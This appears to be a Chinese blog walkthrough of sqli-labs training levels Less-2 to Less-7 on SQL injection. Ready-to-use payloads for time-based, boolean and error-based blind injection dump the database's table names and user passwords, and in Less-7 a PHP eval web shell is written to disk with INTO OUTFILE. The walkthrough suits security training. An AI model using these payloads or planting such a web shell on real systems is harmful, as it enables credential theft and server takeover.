## Less-2 整型注入 ##

## Less-3 单括号变形字符型注入 ##

## Less-4 双引号字符型注入 ##

输入双引号",页面报错如下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]  
根据报错知道，是双引号字符型注入  
注入方式参考Less-1

## Less-5 单引号字符型注入 ##

输入单引号’，页面报错如下

闭合后，显示如下信息

可使用布尔型盲注、时间延迟型注入及报错型注入  
**方法1：时间延迟盲注**  
时间延迟型手工注入，**正确会延迟，错误没有延迟**，可以通过浏览器的刷新提示观察延迟情况。  
爆库长

?id=1'and if(length(database())=8,sleep(5),1) --+

页面响应明显延迟，库名长度为8。  
爆库名

?id=1'and if(left(database(),1)='s',sleep(5),1) --+

明显延迟，数据库第一个字符为s，接下来以此增加left(database(),字符长度)中的字符长度，等号右边以此爆破下一个字符，正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’  
爆表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(5),1) --+

通过坚持不懈的测试，终于在limit 3,1 爆破出user表名为users.  
爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i',sleep(5),1) --+

首先尝试定向爆破，以提高手工注入速度，修改limit x,1 中的x查询password是否存在表中，limit 2,1的时候查到了password列，同样的方法limit 1,1查询username列。  
爆字段

?id=1' and if(left((select password from users order by id limit 0,1),1)='d',sleep(5),1) --+

?id=1' and if(left((select username from users order by id limit 0,1),1)='d',sleep(5),1) --+

按照id排序，这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb，密码dumb，需要注意的是，mysql对大小写不敏感，所以你不知道是Dumb 还是dumb。

**方法2： 布尔型盲注**  
在布尔型注入中，**正确会回显，错误没有回显**，以此为依据逐字爆破。

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。  
爆库名长度

?id=1' and length(database())=8  --+

爆库名

?id=1' and  left((select database()),1)='s'  --+

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。  
爆表名

?id=1' and  left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+

爆列名

?id=1' and  left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i' --+

爆字段

?id=1' and  left((select password from users order by id limit 0,1),1)='d' --+

?id=1' and  left((select username from users order by id limit 0,1),1)='d' --+

认识苦短，遇到时间延迟盲注和布尔类型盲注，还是用python吧

**方法3：报错注入**  
爆库名

?id=1' and (extractvalue(1, concat(0x5c,(select database() )))) --+

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 10]

爆表名

显然没有完全显示，使用where username not in (‘Dumb’,‘I-kill-you’)来显示其他值

?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

## Less-6 双注入双引号字符型 ##

注入方法参考Less-5

## Less-7 导出文件GET字符型注入 ##

查看源码，知道是通过’))闭合。  
![在这里插入图片描述][20210105140537265.png]  
payload:

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]); ?>' into outfile "C:\\soft\\WWW\\sqli\\uuu.php" --+

查看上传目录下存在uuu.php文件。  
上菜刀连接

备注：  
这个方法需要mysql数据库开启secure-file-priv写文件权限，否则不能写入文件。如果你使用的时phpstudy，或者xammp请修改其自己的环境里的mysql配置文件。

进入mysql安装目录，找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure\_file\_priv这个选项，直接再最后添加一个空的即可
